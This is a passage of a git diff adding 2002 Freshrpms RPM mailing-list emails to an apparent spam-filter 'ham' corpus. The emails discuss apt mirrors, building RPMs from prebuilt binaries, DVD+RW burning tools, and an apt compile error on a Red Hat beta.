keeps you from redoing all the +unpacking and building processes. + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01236.04db6f1d75fa021d6380b3bdb5e68635 b/bayes/spamham/easy_ham_2/01236.04db6f1d75fa021d6380b3bdb5e68635 new file mode 100644 index 0000000..dce9447 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01236.04db6f1d75fa021d6380b3bdb5e68635 @@ -0,0 +1,74 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:06:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E145D43C40 + for ; Fri, 16 Aug 2002 05:58:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:58:40 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7FLx0719719 for + ; Thu, 15 Aug 2002 22:59:01 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7FLo3J16382; Thu, 15 Aug 2002 23:50:03 + +0200 +Received: from python (80-24-132-206.uc.nombres.ttd.es [80.24.132.206]) + (authenticated) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7FLnCJ16233 for ; Thu, 15 Aug 2002 23:49:12 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: apt.freshrpms.net +Message-Id: <20020815231545.48bf7c27.matthias@egwn.net> +In-Reply-To: <20020815155442.9896.qmail@web20009.mail.yahoo.com> +References: <20020815035758.GB2280@marvin.home.priv> + <20020815155442.9896.qmail@web20009.mail.yahoo.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 23:15:45 +0200 +Date: Thu, 15 Aug 2002 23:15:45 +0200 + +Once upon a time, Joshua wrote : + +> Does anyone know how often the apt.freshrpms.net repository is +> updated? Is it rsync'ed? It's quite a bit out of date right now. For a +> BIND update released mid-July, for example, it has: + +This is very strange... the Red Hat mirror update is run at least 3 or 4 +times a week, I'll look into it right now. + +Thanks for reporting this! + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01237.8118bdf78e98c631ffa4c979e203eb24 b/bayes/spamham/easy_ham_2/01237.8118bdf78e98c631ffa4c979e203eb24 new file mode 100644 index 0000000..dec4f9e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01237.8118bdf78e98c631ffa4c979e203eb24 @@ -0,0 +1,86 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:17:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8F28F43C34 + for ; Fri, 16 Aug 2002 06:01:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:01:09 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7G0kSa28920 for + ; Fri, 16 Aug 2002 01:46:29 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7G0j3J09224; Fri, 16 Aug 2002 02:45:03 + +0200 +Received: from marvin.home.priv (adsl-66-124-58-30.dsl.anhm01.pacbell.net + [66.124.58.30]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7G0iSJ09111 for ; Fri, 16 Aug 2002 02:44:28 +0200 +Received: by marvin.home.priv (Postfix, from userid 500) id 72F89207F0; + Thu, 15 Aug 2002 17:45:31 -0700 (PDT) +From: Gary Peck +To: rpm-zzzlist@freshrpms.net +Subject: Re: making rpms from already-compiled source trees +Message-Id: <20020816004531.GA5461@marvin.home.priv> +Mail-Followup-To: Gary Peck , + rpm-list@freshrpms.net +References: <20020815050336.GB2408@marvin.home.priv> + <20020814221418.012b296f.hosting@j2solutions.net> + <20020815055904.GA2681@marvin.home.priv> + <20020815064512.2c7d5f3e.hosting@j2solutions.net> + <1029421888.1847.1033.camel@turner.gestalt.entity.net> + <1029422204.14538.2.camel@trial> + <20020815164938.59299be9.ralf@camperquake.de> + <1029423207.14536.9.camel@trial> + <20020815171447.75fbc9f6.ralf@camperquake.de> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020815171447.75fbc9f6.ralf@camperquake.de> +User-Agent: Mutt/1.4i +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 17:45:31 -0700 +Date: Thu, 15 Aug 2002 17:45:31 -0700 + +Well, thanks everyone for the explanations. I still disagree with the +reasoning, but it seems this is one of those philosophical questions +that I'm on the losing end of :) + +The checkinstall utility that someone mentioned seems useful, but I +don't really have the time to figure it out right now. After searching +the web some more, I found out that Mandrake's version of rpm is +patched to support what I wanted. So I guess I'll look into that when +I get a chance. + +On Thu, Aug 15, 2002 at 05:14:47PM +0200, Ralf Ertzinger wrote: +> Do nothing in the %build section, and copy the existing binaries +> in %install. + +As far as I can tell, this could be useful for my situation too. It's +not a complete solution since I can't really distribute the SRPMS with +full certainty that they work, but at least I can make RPMS for local +use by tarring up the buildroot directory and then using the above +technique. All I really want is to get dependency tracking for +everything installed on my system (including software from cvs). This +just makes it a little bit faster. + +gary + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01238.4afe1f2e401797fca7e61add494054b8 b/bayes/spamham/easy_ham_2/01238.4afe1f2e401797fca7e61add494054b8 new file mode 100644 index 0000000..b225f06 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01238.4afe1f2e401797fca7e61add494054b8 @@ -0,0 +1,112 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:24:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1262F44191 + for ; Fri, 16 Aug 2002 06:02:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:02:55 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7G6PFa05309 for + ; Fri, 16 Aug 2002 07:25:15 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7G6M3J30287; Fri, 16 Aug 2002 08:22:03 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7G6LCJ22602 + for ; Fri, 16 Aug 2002 08:21:12 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17faTz-0005VM-00 for rpm-list@freshrpms.net; + Fri, 16 Aug 2002 02:21:15 -0400 +X-Originating-Ip: [4.64.217.36] +From: "" Angles " Puglisi" +To: rpm-zzzlist@freshrpms.net +Subject: Re: making rpms from already-compiled source trees +Message-Id: <20020816.VgB.49123300@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 06:22:50 +0000 +Date: Fri, 16 Aug 2002 06:22:50 +0000 + +Please see: + +http://dudex.net/rpms/lincvs-0.9.90-rh7.123.spec + +snipet: +># extract the ESP package archive +>tar xvf lincvs.ss + +That *.ss file is really a tar file, I had to use the linCVS pre-compiled binary +from their ESP install thingie because the one I compiled on my RH box would not run +on as many systems. The guy said something like this: "it's an evil binary that only +runs on one system", so I took the hint :) + +NOTE: I think I understand why RPM makes you go thru the whole build process: prep, +patch, build, install, package ... there are ways to get around this, but the +package would not be "from pristine sources" so to speak. I read that the 1st big +change they made to RPM was to always use "pristine" sources, then have prep apply +the packager's patches; whereas the early RPMS were already RH patched, apparently, +not having the "pristine" sources as the author had released them. + +Just a guess ... ??? + +Gary Peck (gbpeck@sbcglobal.net) wrote*: +> +>On Wed, Aug 14, 2002 at 10:14:18PM -0700, Jesse Keating wrote: +>> On Wed, 14 Aug 2002 22:03:36 -0700 +>> Gary Peck wrote: +>> +>> # +>> #The closest I've gotten is to use "rpmbuild -bi --short-circuit" but +>> #that falls one step short of actually creating the rpm files. There +>> #must be some obvious option I'm missing... +>> +>> By design, I don't believe there is a way to do what you are asking. +> +>Out of curiousity, is there any particular reason for the design? It +>seems like it'd be an extremely useful option to have -- especially +>when building large programs that take hours to compile. +> +> +>The current implementation already does EVERYTHING (including checking +>the %files list and running find-provides and find-requires) except +>for generating the actual rpm files. I'm sure if I were to look into +>the source, I could write a patch that wouldn't take more than a +>handful of lines. +> +> +>gary +> +>_______________________________________________ +>RPM-List mailing list +> + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01239.e0e538caae93690ba1b0e5c4b9b3f81e b/bayes/spamham/easy_ham_2/01239.e0e538caae93690ba1b0e5c4b9b3f81e new file mode 100644 index 0000000..c1374f4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01239.e0e538caae93690ba1b0e5c4b9b3f81e @@ -0,0 +1,92 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:24:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7F44644193 + for ; Fri, 16 Aug 2002 06:02:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:02:57 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7G6tLa05974 for + ; Fri, 16 Aug 2002 07:55:21 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7G6q2J00689; Fri, 16 Aug 2002 08:52:02 + +0200 +Received: from athlon.ckloiber.com (rdu25-28-106.nc.rr.com [24.25.28.106]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7G6pOJ24808 for + ; Fri, 16 Aug 2002 08:51:24 +0200 +Received: (from ckloiber@localhost) by athlon.ckloiber.com (8.11.6/8.11.6) + id g7G6pJ915988; Fri, 16 Aug 2002 02:51:19 -0400 +X-Authentication-Warning: athlon.ckloiber.com: ckloiber set sender to + ckloiber@ckloiber.com using -f +Subject: Re: DVD+RW tools available (Was: Re: How to add service port ?) +From: Chris Kloiber +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020814112328.325411bb.matthias@egwn.net> +References: <3D578B98.79F80294@traderman.co.uk> + <20020812123237.4014ef57.matthias@egwn.net> + <1029314490.1736.8.camel@athlon.ckloiber.com> + <20020814112328.325411bb.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029480679.15573.4.camel@athlon.ckloiber.com> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 16 Aug 2002 02:51:19 -0400 +Date: 16 Aug 2002 02:51:19 -0400 + +On Wed, 2002-08-14 at 05:23, Matthias Saou wrote: +> Once upon a time, Chris wrote : +> +> > To bring things back on topic, I was practicing my "rpmbuild'n skillz" +> > and made an rpm with some simple software tools to drive my DVD+RW +> > burner. No GUI frontend, but it works just fine from the command line. I +> > even used it to burn a bootable DVD version of Red Hat 7.3. +> > +> > ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm +> +> Nice! :-) +> What about the "dvdrecord" package that's already included in 7.3? It +> doesn't do what this one does? I'm asking this because I've got a friend +> with an iMac running YellowDog Linux (basically Red Hat Linux for PPC), and +> it's one of the newer versions with a DVD burner. I'd be very interested in +> using his drive to burn DVDs full of 2-CDs movies or full of "files for +> xmame" ;-) + +No, the 7.3 dvdrtools works with DVD-R and DVD-RW, this package works +with DVD+R and DVD+RW. (Confused yet?) Unfortuantely these tools don't +have a gui frontend, but since the workhorse is a wrapper for mkisofs, +that shouldn't be too hard for someone who knows how to do those things. + +> Also, a bootable DVD of Red Hat Linux 7.3 would be great as I've still not +> burned the CDs even once for myself since I always install through the +> network (and haven't found an easy way of purchasing an english boxed set +> here in Spain...). + +Well that was an image I put together of just the first three disks of +the distro. Make it bootable too. Fun, but slower than a network +install. + +-- +Chris Kloiber + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01240.00f6d270d359db77778ed33dd03bc193 b/bayes/spamham/easy_ham_2/01240.00f6d270d359db77778ed33dd03bc193 new file mode 100644 index 0000000..436e745 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01240.00f6d270d359db77778ed33dd03bc193 @@ -0,0 +1,79 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:25:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 82C3D44195 + for ; Fri, 16 Aug 2002 06:03:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:00 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7G77fa06359 for + ; Fri, 16 Aug 2002 08:07:41 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7G753J25495; Fri, 16 Aug 2002 09:05:03 + +0200 +Received: from athlon.ckloiber.com (rdu25-28-106.nc.rr.com [24.25.28.106]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7G74bJ25378 for + ; Fri, 16 Aug 2002 09:04:37 +0200 +Received: (from ckloiber@localhost) by athlon.ckloiber.com (8.11.6/8.11.6) + id g7G74bh16109; Fri, 16 Aug 2002 03:04:37 -0400 +X-Authentication-Warning: athlon.ckloiber.com: ckloiber set sender to + ckloiber@ckloiber.com using -f +Subject: Re: making rpms from already-compiled source trees +From: Chris Kloiber +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <1029423207.14536.9.camel@trial> +References: <20020815050336.GB2408@marvin.home.priv> + <20020814221418.012b296f.hosting@j2solutions.net> + <20020815055904.GA2681@marvin.home.priv> + <20020815064512.2c7d5f3e.hosting@j2solutions.net> + <1029421888.1847.1033.camel@turner.gestalt.entity.net> + <1029422204.14538.2.camel@trial> + <20020815164938.59299be9.ralf@camperquake.de> + <1029423207.14536.9.camel@trial> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029481477.15494.10.camel@athlon.ckloiber.com> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 16 Aug 2002 03:04:37 -0400 +Date: 16 Aug 2002 03:04:37 -0400 + +On Thu, 2002-08-15 at 10:53, Erik Williamson wrote: +> > +> > That's not the same problem. Making a RPM from given binaries is simple. +> > +> +> Sweet - do you know where can I find out more info on this? + +Officially no. But also on my ftp://people.redhat.com/ckloiber page is +rpms for the rar-3.00 file archiving/unarchiving program. This is +distributed as a binary tarball only, and I repackaged it based +originally on an earlier version of rar I found on the net, just for +practice. It also makes use of subpackages, and I was both proud of +myself for getting it to work, and sickened that I repackaged +binary-only crap. Enjoy. + +-- +Chris Kloiber + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01241.f1e875c634edf56d4c0a6d557283b64d b/bayes/spamham/easy_ham_2/01241.f1e875c634edf56d4c0a6d557283b64d new file mode 100644 index 0000000..562761a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01241.f1e875c634edf56d4c0a6d557283b64d @@ -0,0 +1,88 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:25:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BED5B4419C + for ; Fri, 16 Aug 2002 06:03:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:07 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7G8URa08794 for + ; Fri, 16 Aug 2002 09:30:28 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7G8S1J10146; Fri, 16 Aug 2002 10:28:02 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7G8R0J28650 + for ; Fri, 16 Aug 2002 10:27:00 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17fcRj-0005f2-00 for rpm-list@freshrpms.net; + Fri, 16 Aug 2002 04:27:03 -0400 +X-Originating-Ip: [4.64.217.36] +From: "" Angles " Puglisi" +To: "FreshRPMs List" +Subject: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020816.utj.20032800@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 08:28:39 +0000 +Date: Fri, 16 Aug 2002 08:28:39 +0000 + +Any sage advice on the most painless way to upgrade from old limbo (.92) to new +limbo (.93)? + +Apt for rpm from the 7.3 days barely works on Limbo1, and the package: +apt-0.5.4cnc6-dwd2.src.rpm will not compile on the Libbo1 box (I was going to use +that to dist-upgrade to Limbo2). + +Compile gave error on file "genpkglist.cc". First, it included "rpm/header.h" ok, +but 2 other includes from that file (rpmio.h, hdrinline.h) could not be found. So I +further patched the enviorment file to have "-I/usr/include/rpm". + +I guess that worked, but then I get this error (see below). + +Ohh... the pain. Any advice? + + +Compiling genpkglist.cc (ed.)/rpm/BUILD/apt-0.5.4cnc6/obj/tools/genpkglist.o +genpkglist.cc: In function `int main(int, char**)': +genpkglist.cc:586: `rpmReadPackageHeader' undeclared (first use this function) +genpkglist.cc:586: (Each undeclared identifier is reported only once for each + function it appears in.) +genpkglist.cc:604:33: macro "headerFree" requires 2 arguments, but only 1 given +genpkglist.cc:604: `headerFree' undeclared (first use this function) +genpkglist.cc:605:25: macro "headerFree" requires 2 arguments, but only 1 given +make[2]: *** [(ed.)/rpm/BUILD/apt-0.5.4cnc6/obj/tools/genpkglist.o] Error 1 +make[1]: *** [all] Error 2 +make: *** [all] Error 2 +error: Bad exit status from (ed.)/tmp/rpm-tmp.18285 (%build) + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01242.f2fcc303c220f75b4abc85d45a9b40cf b/bayes/spamham/easy_ham_2/01242.f2fcc303c220f75b4abc85d45a9b40cf new file mode 100644 index 0000000..1fad6cf --- /dev/null +++ b/bayes/spamham/easy_ham_2/01242.f2fcc303c220f75b4abc85d45a9b40cf @@ -0,0 +1,76 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:26:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 795F4441A2 + for ; Fri, 16 Aug 2002 06:03:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:13 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7G9uVa11631 for + ; Fri, 16 Aug 2002 10:56:31 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7G9p2J07070; Fri, 16 Aug 2002 11:51:03 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7G9oGJ06548 for + ; Fri, 16 Aug 2002 11:50:16 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020816114759.2b1ed25e.matthias@egwn.net> +In-Reply-To: <20020816.utj.20032800@www.dudex.net> +References: <20020816.utj.20032800@www.dudex.net> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 11:47:59 +0200 +Date: Fri, 16 Aug 2002 11:47:59 +0200 + +Once upon a time, ""Angles" wrote : + +> Any sage advice on the most painless way to upgrade from old limbo (.92) +> to new limbo (.93)? +> +> Apt for rpm from the 7.3 days barely works on Limbo1, and the package: +> apt-0.5.4cnc6-dwd2.src.rpm will not compile on the Libbo1 box (I was +> going to use that to dist-upgrade to Limbo2). + +Well, the 7.3 binary should work as long as you install the "rpm404" (IIRC) +compatibility library. The only problem I have with some rpm 4.1 versions +is that it sometimes hangs at the and of operations (-e, -i, -F or -U) and +the only workaround is to kill it, "rm -f /var/lib/rpm/__*" and try again. + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01243.eeea5a548c863170deea55c4aac2f046 b/bayes/spamham/easy_ham_2/01243.eeea5a548c863170deea55c4aac2f046 new file mode 100644 index 0000000..265718d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01243.eeea5a548c863170deea55c4aac2f046 @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:49:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 29B6B43C47 + for ; Fri, 16 Aug 2002 06:23:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:23:23 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GAJja12667 for + ; Fri, 16 Aug 2002 11:19:46 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GAG1J20331; Fri, 16 Aug 2002 12:16:01 + +0200 +Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com + [192.108.102.143]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7GAFsJ19982 for ; Fri, 16 Aug 2002 12:15:54 +0200 +Received: from myrealbox.com danielpavel@smtp-send.myrealbox.com + [194.102.210.216] by smtp-send.myrealbox.com with NetMail SMTP Agent + $Revision: 3.11 $ on Novell NetWare via secured & encrypted transport + (TLS); Fri, 16 Aug 2002 04:15:52 -0600 +Message-Id: <3D5CCF34.7050509@myrealbox.com> +From: Daniel Pavel +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +References: <20020816.utj.20032800@www.dudex.net> + <20020816114759.2b1ed25e.matthias@egwn.net> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 13:08:52 +0300 +Date: Fri, 16 Aug 2002 13:08:52 +0300 + +Matthias Saou wrote: +> Once upon a time, ""Angles" wrote : +> +> +>>Any sage advice on the most painless way to 